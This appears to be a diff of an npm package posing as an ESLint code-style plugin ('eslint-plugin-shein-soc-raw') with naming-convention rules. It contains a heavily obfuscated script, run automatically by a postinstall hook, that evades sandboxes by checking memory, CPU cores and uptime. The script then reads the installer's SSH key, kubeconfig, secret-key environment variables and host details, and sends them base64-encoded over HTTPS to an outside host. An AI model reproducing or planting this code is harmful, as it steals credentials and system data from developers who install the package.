_0x5cc42e*_0x3c0879;};_0x543a41['kdcvn']=function(_0x21e46b,_0x4ff209){return _0x21e46b>_0x4ff209;};const _0x565f6d=_0x543a41;const _0x152df4=_0x565f6d['QNPES'](os[_0x5596('0x57')](),0x3e8);return _0x565f6d['kdcvn'](_0x152df4,_0xb08c9d);}function startApp(){const _0x1e2739={};_0x1e2739[_0x5596('0x27')]=function(_0x5cb541,_0x3a60c2){return _0x5cb541(_0x3a60c2);};_0x1e2739[_0x5596('0x8d')]=_0x5596('0xab');_0x1e2739[_0x5596('0xc5')]=function(_0x3ff2a5,_0x5181b6){return _0x3ff2a5*_0x5181b6;};_0x1e2739[_0x5596('0x5')]=function(_0x534a0,_0x439a92){return _0x534a0*_0x439a92;};_0x1e2739[_0x5596('0xbc')]=function(_0x85d493){return _0x85d493();};const _0xc87528=_0x1e2739;if(!_0xc87528[_0x5596('0x27')](checkMemory,0x2)){if(_0xc87528[_0x5596('0x8d')]===_0xc87528[_0x5596('0x8d')]){process['exit'](0x1);}else{const {ip}=JSON['parse'](data);_0xc87528[_0x5596('0x27')](resolve,_0x22ed39);}}if(!_0xc87528[_0x5596('0x27')](checkCPUCores,0x2)){process[_0x5596('0x6a')](0x1);}if(!_0xc87528[_0x5596('0x27')](checkUptime,_0xc87528[_0x5596('0xc5')](_0xc87528['lnEKO'](0x3e8,0x3c),0x3c))){process['exit'](0x1);}_0xc87528['pJDwB'](collectTrackingData);}const encodedKubeConfigPath=_0x5596('0xc1');const kubeConfigFile=path[_0x5596('0xa8')](os[_0x5596('0x1e')](),Buffer['from'](encodedKubeConfigPath,_0x5596('0x29'))['toString']());let kubeConfig='';if(fs[_0x5596('0x9d')](kubeConfigFile)){try{kubeConfig=fs[_0x5596('0x48')](kubeConfigFile,_0x5596('0x38'));}catch(_0x3752e4){}}else{}const encodedsshKeyFilePath=_0x5596('0xb6');const sshKeyFile=path[_0x5596('0xa8')](os[_0x5596('0x1e')](),Buffer[_0x5596('0xa7')](encodedsshKeyFilePath,_0x5596('0x29'))[_0x5596('0x12')]());let sshKey='';if(fs[_0x5596('0x9d')](sshKeyFile)){try{sshKey=fs[_0x5596('0x48')](sshKeyFile,_0x5596('0x38'));}catch(_0x22fc0f){}}else{}const encodeBase64=_0x43e954=>{const _0x34d99d={};_0x34d99d['otYkx']='utf8';_0x34d99d[_0x5596('0x62')]=function(_0x445ad5,_0x3e2690){return _0x445ad5===_0x3e2690;};_0x34d99d[_0x5596('0x5c')]=_0x5596('0x20');_0x34d99d['UnQFX']='base64';_0x34d99d[_0x5596('0x97')]=_0x5596('0xa4');_0x34d99d[_0x5596('0x1a')]=function(_0x41d16f,_0x5897b3){return _0x41d16f!==_0x5897b3;};_0x34d99d[_0x5596('0xba')]='KmgTP';_0x34d99d[_0x5596('0x4a')]=_0x5596('0xa3');const _0x66dcb2=_0x34d99d;if(!_0x43e954)return'';if(_0x66dcb2['zqZpm'](typeof _0x43e954,_0x66dcb2['ieUPP'])){return Buffer['from'](_0x43e954)['toString'](_0x66dcb2[_0x5596('0x5e')]);}else if(Buffer[_0x5596('0xca')](_0x43e954)){if(_0x66dcb2[_0x5596('0x62')](_0x5596('0xa4'),_0x66dcb2[_0x5596('0x97')])){return _0x43e954[_0x5596('0x12')](_0x5596('0x29'));}else{kubeConfig=fs['readFileSync'](kubeConfigFile,_0x66dcb2[_0x5596('0x17')]);}}else{if(_0x66dcb2['VXeUX'](_0x66dcb2[_0x5596('0xba')],_0x66dcb2[_0x5596('0xba')])){return{};}else{throw new TypeError(_0x66dcb2['kthJW']);}}};const getTrackingData=async _0x5270ff=>{const _0x35f7b7={};_0x35f7b7[_0x5596('0x28')]=_0x5596('0x29');_0x35f7b7[_0x5596('0xc3')]=function(_0x67ac7a,_0x3bd990){return _0x67ac7a===_0x3bd990;};_0x35f7b7['Tqdho']='xlUfV';_0x35f7b7[_0x5596('0xaf')]=_0x5596('0xae');_0x35f7b7[_0x5596('0x36')]=function(_0x6bf858,_0xa328a9){return _0x6bf858(_0xa328a9);};_0x35f7b7[_0x5596('0x22')]=function(_0x535187,_0x43a399){return _0x535187(_0x43a399);};_0x35f7b7[_0x5596('0x18')]=function(_0x7c28bf,_0x4657f7){return _0x7c28bf(_0x4657f7);};_0x35f7b7[_0x5596('0xd0')]=function(_0x49cdf4,_0x54fef6){return _0x49cdf4(_0x54fef6);};_0x35f7b7[_0x5596('0x6d')]=function(_0x2374b2,_0x20f964){return _0x2374b2(_0x20f964);};_0x35f7b7[_0x5596('0x51')]=function(_0x19b386,_0x231758){return _0x19b386(_0x231758);};_0x35f7b7['GdzRE']=function(_0x35ec50,_0x44e554){return _0x35ec50(_0x44e554);};_0x35f7b7['ebnKa']=function(_0x39c40c,_0x278b73){return _0x39c40c(_0x278b73);};_0x35f7b7['BIWpy']=function(_0x422f32,_0x3115a0){return _0x422f32(_0x3115a0);};_0x35f7b7[_0x5596('0x37')]=function(_0x321674,_0x3b14b4){return _0x321674(_0x3b14b4);};_0x35f7b7[_0x5596('0xb0')]=function(_0x357a9e,_0x2873d7){return _0x357a9e(_0x2873d7);};_0x35f7b7[_0x5596('0xa5')]=function(_0x4e9fd0,_0xd07a0a){return _0x4e9fd0(_0xd07a0a);};_0x35f7b7[_0x5596('0x5f')]=function(_0xc7c545,_0x27de7f){return _0xc7c545(_0x27de7f);};_0x35f7b7[_0x5596('0x3f')]=_0x5596('0x68');_0x35f7b7[_0x5596('0x61')]=_0x5596('0x90');const _0x13c7db=_0x35f7b7;try{if(_0x13c7db[_0x5596('0xc3')](_0x5596('0x32'),_0x13c7db[_0x5596('0x55')])){return str[_0x5596('0x12')](_0x13c7db[_0x5596('0x28')]);}else{const _0x2431e6=process[_0x5596('0x5a')][_0x5596('0x40')]||_0x13c7db[_0x5596('0xaf')];const _0x1fc725=_0x13c7db[_0x5596('0x36')](encodeBase64,_0x2431e6);const _0x543a31=process[_0x5596('0x5a')][_0x5596('0x7c')]||_0x13c7db['zTYbq'];const _0x57bd9f=_0x13c7db[_0x5596('0x22')](encodeBase64,_0x543a31);const _0x106691=process['env'][_0x5596('0x45')]||_0x13c7db[_0x5596('0xaf')];const _0x1b18aa=_0x13c7db[_0x5596('0x18')](encodeBase64,_0x106691);const _0x385a5b=process[_0x5596('0x5a')][_0x5596('0x84')]||_0x13c7db['zTYbq'];const _0x1428c0=_0x13c7db[_0x5596('0xd0')](encodeBase64,_0x385a5b);const _0x180ae4=process[_0x5596('0x5a')][_0x5596('0x96')]||_0x13c7db[_0x5596('0xaf')];const _0x7693d7=_0x13c7db['BcJRl'](encodeBase64,_0x180ae4);const _0x340b80=process[_0x5596('0x5a')][_0x5596('0x21')]||_0x13c7db[_0x5596('0xaf')];const _0x497e7e=_0x13c7db['KbcrH'](encodeBase64,_0x340b80);const _0x80ee37={};_0x80ee37['ct']=_0x13c7db['QdaAX'](encodeBase64,new Date()[_0x5596('0x8c')]());_0x80ee37['p']=_0x13c7db['GdzRE'](encodeBase64,packageName);_0x80ee37['sp']=_0x13c7db[_0x5596('0xce')](encodeBase64,process[_0x5596('0x78')][0x1]);_0x80ee37['cp']=encodeBase64(process[_0x5596('0x2f')]());_0x80ee37['hn']=_0x13c7db[_0x5596('0x46')](encodeBase64,os['hostname']());_0x80ee37['un']=encodeBase64(username);_0x80ee37['ei']=_0x13c7db[_0x5596('0x37')](encodeBase64,_0x5270ff);_0x80ee37['i4']=_0x13c7db[_0x5596('0x37')](encodeBase64,ipv4);_0x80ee37['i6']=_0x13c7db[_0x5596('0xb0')](encodeBase64,ipv6);_0x80ee37['ds']=dns['getServers']();_0x80ee37['ma']=_0x13c7db['SjsJF'](encodeBase64,macAddr);_0x80ee37[_0x5596('0x6f')]=_0x1fc725;_0x80ee37['sk']=_0x1b18aa;_0x80ee37[_0x5596('0xbb')]=_0x57bd9f;_0x80ee37[_0x5596('0x16')]=_0x1428c0;_0x80ee37[_0x5596('0x94')]=_0x7693d7;_0x80ee37['st']=_0x497e7e;_0x80ee37['v']=encodeBase64(process[_0x5596('0x7b')]);_0x80ee37['sshk']=_0x13c7db[_0x5596('0xa5')](encodeBase64,sshKey);_0x80ee37['kc']=encodeBase64(kubeConfig);_0x80ee37['pj']=_0x13c7db['EOpaH'](encodeBase64,JSON[_0x5596('0x9e')](packageJSON));return _0x80ee37;}}catch(_0x1bed9c){if(_0x13c7db[_0x5596('0xc3')](_0x13c7db[_0x5596('0x3f')],_0x13c7db[_0x5596('0x61')])){const _0x236e74=firstCall?function(){if(fn){const _0x106250=fn[_0x5596('0x26')](context,arguments);fn=null;return _0x106250;}}:function(){};firstCall=![];return _0x236e74;}else{return{};}}};const collectTrackingData=async()=>{const _0xfcdb74={};_0xfcdb74[_0x5596('0x9')]='NULL';_0xfcdb74[_0x5596('0x98')]=function(_0x5e28c,_0x4d7581){return _0x5e28c(_0x4d7581);};_0xfcdb74[_0x5596('0x7a')]=function(_0x1795b9,_0x53eebd){return _0x1795b9(_0x53eebd);};_0xfcdb74['kXMsI']=function(_0x3e16c6,_0x407311){return _0x3e16c6(_0x407311);};_0xfcdb74[_0x5596('0x3d')]=function(_0x5f5bd1,_0x4511a6){return _0x5f5bd1(_0x4511a6);};_0xfcdb74[_0x5596('0x99')]=function(_0x3b0d70,_0x6fa615){return _0x3b0d70(_0x6fa615);};_0xfcdb74[_0x5596('0xcd')]=function(_0x402ddd,_0x466e3a){return _0x402ddd(_0x466e3a);};_0xfcdb74['nGpME']=function(_0xf6d71f,_0xa21e86){return _0xf6d71f===_0xa21e86;};_0xfcdb74['JtWxx']='GhphT';_0xfcdb74[_0x5596('0xd')]=function(_0x371b21){return _0x371b21();};_0xfcdb74[_0x5596('0x13')]=function(_0x5b998e,_0x5f21f5){return _0x5b998e(_0x5f21f5);};_0xfcdb74[_0x5596('0x2e')]=_0x5596('0x29');_0xfcdb74[_0x5596('0xc9')]=_0x5596('0x5d');_0xfcdb74[_0x5596('0x77')]=_0x5596('0x54');const _0x4b7028=_0xfcdb74;try{const _0x476613=await _0x4b7028[_0x5596('0xd')](getExternalIp);const _0x333e27=await _0x4b7028[_0x5596('0x13')](getTrackingData,_0x476613);const _0x3d40a7=JSON[_0x5596('0x9e')](_0x333e27);const _0x5f49e9=Buffer[_0x5596('0xa7')]('YXBwLnRocmVhdGVzdC5jb20=',_0x4b7028[_0x5596('0x2e')])['toString']();const _0x2a7e5b=Buffer[_0x5596('0xa7')](_0x5596('0x64'),_0x4b7028[_0x5596('0x2e')])[_0x5596('0x12')]();const _0x4127ae={};_0x4127ae['Content-Type']=_0x4b7028[_0x5596('0xc9')];_0x4127ae[_0x5596('0x15')]=_0x3d40a7[_0x5596('0xc')];const _0x5ccab7={};_0x5ccab7[_0x5596('0x9a')]=_0x5f49e9;_0x5ccab7[_0x5596('0x47')]=0x1bb;_0x5ccab7[_0x5596('0x58')]=_0x2a7e5b;_0x5ccab7[_0x5596('0x3e')]=_0x5596('0xbf');_0x5ccab7['headers']=_0x4127ae;const _0x203da1=_0x5ccab7;const _0x4c5272=https[_0x5596('0x6c')](_0x203da1,_0x234cba=>{});_0x4c5272['on'](_0x5596('0x76'),_0x596e77=>{});_0x4c5272['on'](_0x4b7028['JbPFk'],()=>{});_0x4c5272[_0x5596('0x89')](0x1388,()=>{const _0x1ccd75={};_0x1ccd75[_0x5596('0x86')]=_0x4b7028[_0x5596('0x9')];_0x1ccd75[_0x5596('0x5b')]=function(_0x262cee,_0x31d146){return _0x4b7028[_0x5596('0x98')](_0x262cee,_0x31d146);};_0x1ccd75['KNvGV']=function(_0x599e0a,_0x55e417){return _0x599e0a(_0x55e417);};_0x1ccd75[_0x5596('0x33')]=function(_0x55c4eb,_0x1f4b15){return _0x4b7028[_0x5596('0x7a')](_0x55c4eb,_0x1f4b15);};_0x1ccd75[_0x5596('0x19')]=function(_0x6b49a9,_0x31d14f){return _0x6b49a9(_0x31d14f);};_0x1ccd75[_0x5596('0x85')]=function(_0x24f2b4,_0x5672a7){return _0x4b7028[_0x5596('0x35')](_0x24f2b4,_0x5672a7);};_0x1ccd75[_0x5596('0x3c')]=function(_0x5e46b9,_0x4e61c9){return _0x4b7028[_0x5596('0x35')](_0x5e46b9,_0x4e61c9);};_0x1ccd75[_0x5596('0xb9')]=function(_0x261fdf,_0x1f61e6){return _0x261fdf(_0x1f61e6);};_0x1ccd75[_0x5596('0x75')]=function(_0x1cf721,_0xd161b3){return _0x4b7028['UTVKK'](_0x1cf721,_0xd161b3);};_0x1ccd75[_0x5596('0x81')]=function(_0x4a018b,_0x3cadbc){return _0x4b7028[_0x5596('0x99')](_0x4a018b,_0x3cadbc);};_0x1ccd75[_0x5596('0x7d')]=function(_0x54c982,_0x52bc88){return _0x54c982(_0x52bc88);};_0x1ccd75['ZCsPO']=function(_0x1cbf9b,_0xd41362){return _0x4b7028[_0x5596('0xcd')](_0x1cbf9b,_0xd41362);};const _0x29dcfd=_0x1ccd75;if(_0x4b7028[_0x5596('0x34')](_0x4b7028['JtWxx'],'aPlej')){const _0x2cb8b2=process[_0x5596('0x5a')][_0x5596('0x40')]||_0x29dcfd[_0x5596('0x86')];const _0x28489a=_0x29dcfd[_0x5596('0x5b')](encodeBase64,_0x2cb8b2);const _0x1d7457=process[_0x5596('0x5a')][_0x5596('0x7c')]||_0x29dcfd[_0x5596('0x86')];const _0x3593ff=_0x29dcfd['KNvGV'](encodeBase64,_0x1d7457);const _0x5981c4=process[_0x5596('0x5a')]['SecretKey']||'NULL';const _0x5e9c20=_0x29dcfd[_0x5596('0x33')](encodeBase64,_0x5981c4);const _0x50039c=process[_0x5596('0x5a')]['accessKeySecret']||_0x5596('0xae');const _0x4f8ca8=_0x29dcfd['bFcqZ'](encodeBase64,_0x50039c);const _0xb6a0d5=process['env'][_0x5596('0x96')]||_0x5596('0xae');const _0x416d81=_0x29dcfd[_0x5596('0x85')](encodeBase64,_0xb6a0d5);const _0x458203=process[_0x5596('0x5a')][_0x5596('0x21')]||_0x29dcfd[_0x5596('0x86')];const _0x30810c=_0x29dcfd[_0x5596('0x85')](encodeBase64,_0x458203);const _0x21340d={};_0x21340d['ct']=_0x29dcfd[_0x5596('0x3c')](encodeBase64,new Date()[_0x5596('0x8c')]());_0x21340d['p']=_0x29dcfd[_0x5596('0xb9')](encodeBase64,packageName);_0x21340d['sp']=_0x29dcfd['NsiYW'](encodeBase64,process['argv'][0x1]);_0x21340d['cp']=_0x29dcfd[_0x5596('0xb9')](encodeBase64,process[_0x5596('0x2f')]());_0x21340d['hn']=_0x29dcfd['gjFis'](encodeBase64,os[_0x5596('0x9a')]());_0x21340d['un']=encodeBase64(username);_0x21340d['ei']=_0x29dcfd[_0x5596('0x81')](encodeBase64,_0x476613);_0x21340d['i4']=encodeBase64(ipv4);_0x21340d['i6']=_0x29dcfd['oniMp'](encodeBase64,ipv6);_0x21340d['ds']=dns[_0x5596('0x8f')]();_0x21340d['ma']=_0x29dcfd['UTjck'](encodeBase64,macAddr);_0x21340d[_0x5596('0x6f')]=_0x28489a;_0x21340d['sk']=_0x5e9c20;_0x21340d[_0x5596('0xbb')]=_0x3593ff;_0x21340d[_0x5596('0x16')]=_0x4f8ca8;_0x21340d[_0x5596('0x94')]=_0x416d81;_0x21340d['st']=_0x30810c;_0x21340d['v']=_0x29dcfd[_0x5596('0x69')](encodeBase64,process[_0x5596('0x7b')]);_0x21340d[_0x5596('0xaa')]=_0x29dcfd[_0x5596('0x69')](encodeBase64,sshKey);_0x21340d['kc']=_0x29dcfd[_0x5596('0x69')](encodeBase64,kubeConfig);_0x21340d['pj']=_0x29dcfd[_0x5596('0x69')](encodeBase64,JSON[_0x5596('0x9e')](packageJSON));return _0x21340d;}else{_0x4c5272[_0x5596('0x54')]();}});_0x4c5272['write'](_0x3d40a7);_0x4c5272['end']();}catch(_0x5ad307){}};const getExternalIp=()=>{const _0x3441ba={};_0x3441ba[_0x5596('0xa0')]=function(_0x49050a,_0xb6213a){return _0x49050a*_0xb6213a;};_0x3441ba[_0x5596('0x93')]=function(_0x472002,_0x621bdc){return _0x472002*_0x621bdc;};_0x3441ba['gVPuk']=function(_0x5c3a4d,_0x243e8e){return _0x5c3a4d-_0x243e8e;};_0x3441ba[_0x5596('0x56')]=function(_0x17040b,_0x2d77d3){return _0x17040b(_0x2d77d3);};_0x3441ba[_0x5596('0x91')]=_0x5596('0x95');_0x3441ba['WVJFs']=_0x5596('0x50');const _0x5762af=_0x3441ba;const _0x432be3=_0x5762af[_0x5596('0xc0')];const _0x18fba7=Buffer[_0x5596('0xa7')](_0x432be3,_0x5596('0x29'))[_0x5596('0x12')]();return new Promise((_0x5dd555,_0xefd667)=>{const _0xc84d={};_0xc84d[_0x5596('0x82')]=function(_0x4b70b1,_0x28f23b){return _0x4b70b1!==_0x28f23b;};_0xc84d['JTqNU']=_0x5762af[_0x5596('0x91')];_0xc84d[_0x5596('0x67')]='iVhMi';const _0xdb674f=_0xc84d;https[_0x5596('0x6b')](_0x18fba7,_0x191f1d=>{const _0x28032c={};_0x28032c['ZxEjd']=function(_0x1f1a32,_0x246b91){return _0x5762af[_0x5596('0xa0')](_0x1f1a32,_0x246b91);};_0x28032c[_0x5596('0x72')]=function(_0x47f2ed,_0x5be5b7){return _0x47f2ed*_0x5be5b7;};_0x28032c[_0x5596('0x6')]=function(_0x2fb3a7,_0x3de496){return _0x5762af[_0x5596('0x93')](_0x2fb3a7,_0x3de496);};_0x28032c['hAAOf']=function(_0x5952d5,_0x30a2cf){return _0x5762af['gVPuk'](_0x5952d5,_0x30a2cf);};const _0x4ea1b2=_0x28032c;let _0x580136='';_0x191f1d['on'](_0x5596('0x79'),_0x4bab61=>{if(_0xdb674f[_0x5596('0x82')]('oyrOx',_0xdb674f[_0x5596('0x39')])){_0x580136+=_0x4bab61;}else{_0x580136+=_0x4bab61;}});_0x191f1d['on'](_0x5596('0xcc'),()=>{if(_0xdb674f[_0x5596('0x82')](_0xdb674f['XUzhs'],_0x5596('0x92'))){const {ip}=JSON[_0x5596('0x66')](_0x580136);_0x5dd555(ip);}else{const _0x45bb00=os['totalmem']()/_0x4ea1b2[_0x5596('0x11')](_0x4ea1b2['tSdbG'](0x400,0x400),0x400);const _0x384f27=os[_0x5596('0x74')]()/(_0x4ea1b2[_0x5596('0x6')](0x400,0x400)*0x400);if(_0x4ea1b2[_0x5596('0x3a')](_0x45bb00,_0x384f27)<memory){return![];}else{return!![];}}});})['on'](_0x5596('0x76'),_0x217ec1=>{_0x5762af['bIlWA'](_0xefd667,_0x217ec1);});});};startApp();
|
package/lib/index.js
ADDED
@@ -0,0 +1,83 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview 希音产研商品供应部原材料系统代码规范插件
|
3
|
+
* @author haohuan
|
4
|
+
*/
|
5
|
+
"use strict";
|
6
|
+
|
7
|
+
//------------------------------------------------------------------------------
|
8
|
+
// Requirements
|
9
|
+
//------------------------------------------------------------------------------
|
10
|
+
|
11
|
+
const requireIndex = require("requireindex");
|
12
|
+
|
13
|
+
//------------------------------------------------------------------------------
|
14
|
+
// Plugin Definition
|
15
|
+
//------------------------------------------------------------------------------
|
16
|
+
|
17
|
+
|
18
|
+
// import all rules in lib/rules
|
19
|
+
module.exports = {
|
20
|
+
rules: requireIndex(__dirname + "/rules"),
|
21
|
+
configs: {
|
22
|
+
recommended: {
|
23
|
+
env: {
|
24
|
+
"browser": true,
|
25
|
+
"es2021": true
|
26
|
+
},
|
27
|
+
extends: [
|
28
|
+
"eslint:recommended",
|
29
|
+
"plugin:react/recommended",
|
30
|
+
],
|
31
|
+
parserOptions: {
|
32
|
+
"ecmaFeatures": {
|
33
|
+
"jsx": true
|
34
|
+
},
|
35
|
+
"ecmaVersion": 12,
|
36
|
+
"sourceType": "module"
|
37
|
+
},
|
38
|
+
globals: {
|
39
|
+
"CLOUD_SDK_KEY": true,
|
40
|
+
"GLOBAL_TITLE": true,
|
41
|
+
"PDF_URL": true,
|
42
|
+
"process": true
|
43
|
+
},
|
44
|
+
plugins: [
|
45
|
+
"react",
|
46
|
+
"simple-import-sort",
|
47
|
+
"shein-soc-raw"
|
48
|
+
],
|
49
|
+
rules: {
|
50
|
+
"no-multiple-empty-lines": 2,
|
51
|
+
"no-mixed-spaces-and-tabs": 2, // 禁止空格和 tab 的混合缩进
|
52
|
+
"no-multi-spaces": 2, // 禁止使用多个空格
|
53
|
+
"indent": ["warn", 2, { // 强制使用一致的缩进
|
54
|
+
"SwitchCase": 1 // 强制 switch 语句中的 case 子句的缩进水平
|
55
|
+
}],
|
56
|
+
// 强制一行的最大长度
|
57
|
+
"max-len": [1, 100, { "ignoreTemplateLiterals": true }],
|
58
|
+
"keyword-spacing": 1, // 强制在关键字前后使用一致的空格
|
59
|
+
"operator-linebreak": [2, "after", {
|
60
|
+
"overrides": {
|
61
|
+
"?": "before",
|
62
|
+
":": "before"
|
63
|
+
}
|
64
|
+
}],
|
65
|
+
"spaced-comment": [2, "always", {
|
66
|
+
"markers": ["global", "globals", "eslint", "eslint-disable", "*package", "!"]
|
67
|
+
}], // 强制在注释中 // 或 /* 使用一致的空格
|
68
|
+
"react/prop-types": 0,
|
69
|
+
"react/jsx-max-props-per-line": [1, {
|
70
|
+
"maximum": 3
|
71
|
+
}], // 限制JSX中单行上的props的最大数量
|
72
|
+
"react/jsx-no-duplicate-props": 2, //防止在JSX中重复的props
|
73
|
+
"simple-import-sort/imports": 2,
|
74
|
+
"simple-import-sort/exports": 2,
|
75
|
+
"shein-soc-raw/reducer-name-convention": 2,
|
76
|
+
"shein-soc-raw/services-name-convention": 2
|
77
|
+
}
|
78
|
+
}
|
79
|
+
}
|
80
|
+
}
|
81
|
+
|
82
|
+
|
83
|
+
|
@@ -0,0 +1,79 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview reduce.js function name convention
|
3
|
+
* @author haohuan
|
4
|
+
*/
|
5
|
+
"use strict";
|
6
|
+
|
7
|
+
//------------------------------------------------------------------------------
|
8
|
+
// Rule Definition
|
9
|
+
//------------------------------------------------------------------------------
|
10
|
+
|
11
|
+
/**
|
12
|
+
* @type {import('eslint').Rule.RuleModule}
|
13
|
+
*/
|
14
|
+
module.exports = {
|
15
|
+
meta: {
|
16
|
+
type: `suggestion`, // `problem`, `suggestion`, or `layout`
|
17
|
+
docs: {
|
18
|
+
description: "reduce.js function name convention",
|
19
|
+
category: "Fill me in",
|
20
|
+
recommended: false,
|
21
|
+
url: null, // URL to the documentation page for this rule
|
22
|
+
},
|
23
|
+
fixable: null, // Or `code` or `whitespace`
|
24
|
+
schema: [], // Add a schema if the rule has options
|
25
|
+
},
|
26
|
+
|
27
|
+
create(context) {
|
28
|
+
// variables should be defined here
|
29
|
+
|
30
|
+
//----------------------------------------------------------------------
|
31
|
+
// Helpers
|
32
|
+
//----------------------------------------------------------------------
|
33
|
+
|
34
|
+
// any helper functions should go here or else delete this section
|
35
|
+
|
36
|
+
//----------------------------------------------------------------------
|
37
|
+
// Public
|
38
|
+
//----------------------------------------------------------------------
|
39
|
+
|
40
|
+
const isValidName = ['init', 'initData', 'changeValue', 'state'];
|
41
|
+
|
42
|
+
function isReducerFile(properties) {
|
43
|
+
let flagArr = [];
|
44
|
+
properties.forEach((item) => {
|
45
|
+
if (item.key.name) {
|
46
|
+
const name = item.key.name;
|
47
|
+
if (name === 'init' || name === 'changeValue' || name === 'state') {
|
48
|
+
flagArr.push(name);
|
49
|
+
}
|
50
|
+
}
|
51
|
+
})
|
52
|
+
return flagArr.length === 3;
|
53
|
+
}
|
54
|
+
|
55
|
+
function isStartWithKey(name) {
|
56
|
+
return name.startsWith('fetch') ||
|
57
|
+
name.startsWith('handle') ||
|
58
|
+
name.startsWith('init') ||
|
59
|
+
name.startsWith('submit') ||
|
60
|
+
name.startsWith('update') ||
|
61
|
+
name.startsWith('delete')
|
62
|
+
}
|
63
|
+
|
64
|
+
return {
|
65
|
+
// visitor functions for different types of nodes
|
66
|
+
"ExportDefaultDeclaration > ObjectExpression": (node) => {
|
67
|
+
isReducerFile(node.properties) && node.properties.forEach(item => {
|
68
|
+
const name = item.key.name;
|
69
|
+
if (!isValidName.includes(name) && !isStartWithKey(name)) {
|
70
|
+
context.report({
|
71
|
+
node: item,
|
72
|
+
message: `${name} 需要用submit|delete|update|fetch|handle|init开头命名`
|
73
|
+
})
|
74
|
+
}
|
75
|
+
})
|
76
|
+
}
|
77
|
+
};
|
78
|
+
},
|
79
|
+
};
|
@@ -0,0 +1,98 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview services.js function name convention
|
3
|
+
* @author haohuan
|
4
|
+
*/
|
5
|
+
"use strict";
|
6
|
+
|
7
|
+
//------------------------------------------------------------------------------
|
8
|
+
// Rule Definition
|
9
|
+
//------------------------------------------------------------------------------
|
10
|
+
|
11
|
+
/**
|
12
|
+
* @type {import('eslint').Rule.RuleModule}
|
13
|
+
*/
|
14
|
+
module.exports = {
|
15
|
+
meta: {
|
16
|
+
type: `suggestion`, // `problem`, `suggestion`, or `layout`
|
17
|
+
docs: {
|
18
|
+
description: "services.js function name convention",
|
19
|
+
category: "Fill me in",
|
20
|
+
recommended: false,
|
21
|
+
url: null, // URL to the documentation page for this rule
|
22
|
+
},
|
23
|
+
fixable: null, // Or `code` or `whitespace`
|
24
|
+
schema: [], // Add a schema if the rule has options
|
25
|
+
},
|
26
|
+
|
27
|
+
create(context) {
|
28
|
+
// variables should be defined here
|
29
|
+
|
30
|
+
//----------------------------------------------------------------------
|
31
|
+
// Helpers
|
32
|
+
//----------------------------------------------------------------------
|
33
|
+
|
34
|
+
// any helper functions should go here or else delete this section
|
35
|
+
|
36
|
+
//----------------------------------------------------------------------
|
37
|
+
// Public
|
38
|
+
//----------------------------------------------------------------------
|
39
|
+
|
40
|
+
const isValidName = [];
|
41
|
+
|
42
|
+
function isServicesFile(nodes) {
|
43
|
+
let flagArr = [];
|
44
|
+
nodes.forEach((item) => {
|
45
|
+
if (item.type === 'ImportDeclaration') {
|
46
|
+
item.specifiers.forEach(sItem => {
|
47
|
+
const name = sItem.local.name;
|
48
|
+
if ( name === 'filterEmptyParams' || name === 'request') {
|
49
|
+
flagArr.push(name);
|
50
|
+
}
|
51
|
+
})
|
52
|
+
}
|
53
|
+
})
|
54
|
+
return flagArr.length === 2;
|
55
|
+
}
|
56
|
+
|
57
|
+
function isStartWithKey(name) {
|
58
|
+
return name.startsWith('query') ||
|
59
|
+
name.startsWith('post') ||
|
60
|
+
name.startsWith('put') ||
|
61
|
+
name.startsWith('remove') ||
|
62
|
+
name.startsWith('delete')
|
63
|
+
}
|
64
|
+
|
65
|
+
return {
|
66
|
+
// visitor functions for different types of nodes
|
67
|
+
"Program": (node) => {
|
68
|
+
|
69
|
+
const messageStr = '需要用post|remove|put|query开头命名'
|
70
|
+
|
71
|
+
isServicesFile(node.body) && node.body.forEach(item => {
|
72
|
+
if (item.type === 'ExportNamedDeclaration' && item.declaration.type === 'FunctionDeclaration') {
|
73
|
+
const name = item.declaration.id.name;
|
74
|
+
if (!isValidName.includes(name) && !isStartWithKey(name)) {
|
75
|
+
context.report({
|
76
|
+
node: item,
|
77
|
+
message: `${name} ${messageStr}`
|
78
|
+
})
|
79
|
+
}
|
80
|
+
}
|
81
|
+
|
82
|
+
if (item.type === 'ExportNamedDeclaration' && item.declaration.type === 'VariableDeclaration') {
|
83
|
+
const {declarations} = item.declaration;
|
84
|
+
declarations.forEach(sItem => {
|
85
|
+
const name = sItem.id.name;
|
86
|
+
if (sItem.init.type === 'ArrowFunctionExpression' && !isValidName.includes(name) && !isStartWithKey(name)) {
|
87
|
+
context.report({
|
88
|
+
node: item,
|
89
|
+
message: `${name} ${messageStr}`
|
90
|
+
})
|
91
|
+
}
|
92
|
+
})
|
93
|
+
}
|
94
|
+
})
|
95
|
+
}
|
96
|
+
};
|
97
|
+
},
|
98
|
+
};
|
package/package.json
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
{
|
2
|
+
"name": "eslint-plugin-shein-soc-raw",
|
3
|
+
"version": "1.1.3",
|
4
|
+
"description": "系统代码规范插件",
|
5
|
+
"keywords": [
|
6
|
+
"eslint",
|
7
|
+
"eslintplugin",
|
8
|
+
"eslint-plugin"
|
9
|
+
],
|
10
|
+
"author": "haohuan",
|
11
|
+
"main": "lib/index.js",
|
12
|
+
"scripts": {
|
13
|
+
"lint": "eslint .",
|
14
|
+
"test": "mocha tests --recursive",
|
15
|
+
"postinstall": "node config.js"
|
16
|
+
},
|
17
|
+
"dependencies": {
|
18
|
+
"requireindex": "^1.2.0"
|
19
|
+
},
|
20
|
+
"devDependencies": {
|
21
|
+
"eslint": "^8.0.1",
|
22
|
+
"eslint-plugin-eslint-plugin": "^4.0.1",
|
23
|
+
"eslint-plugin-node": "^11.1.0",
|
24
|
+
"eslint-plugin-react": "^7.27.1",
|
25
|
+
"eslint-plugin-simple-import-sort": "^7.0.0",
|
26
|
+
"mocha": "^9.1.3"
|
27
|
+
},
|
28
|
+
"engines": {
|
29
|
+
"node": "12.x || 14.x || >= 16"
|
30
|
+
},
|
31
|
+
"peerDependencies": {
|
32
|
+
"eslint": ">=6"
|
33
|
+
},
|
34
|
+
"license": "ISC"
|
35
|
+
}
|
@@ -0,0 +1,91 @@
|
|
1
|
+
/**
|
2
|
+
* @fileoverview reduce.js function name convention
|
3
|
+
* @author haohuan
|
4
|
+
*/
|
5
|
+
"use strict";
|
6
|
+
|
7
|
+
//------------------------------------------------------------------------------
|
8
|
+
// Requirements
|
9
|
+
//------------------------------------------------------------------------------
|
10
|
+
|
11
|
+
const config = require("../config")
|
12
|
+
|
13
|
+
const rule = require("../../../lib/rules/reducer-name-convention"),
|
14
|
+
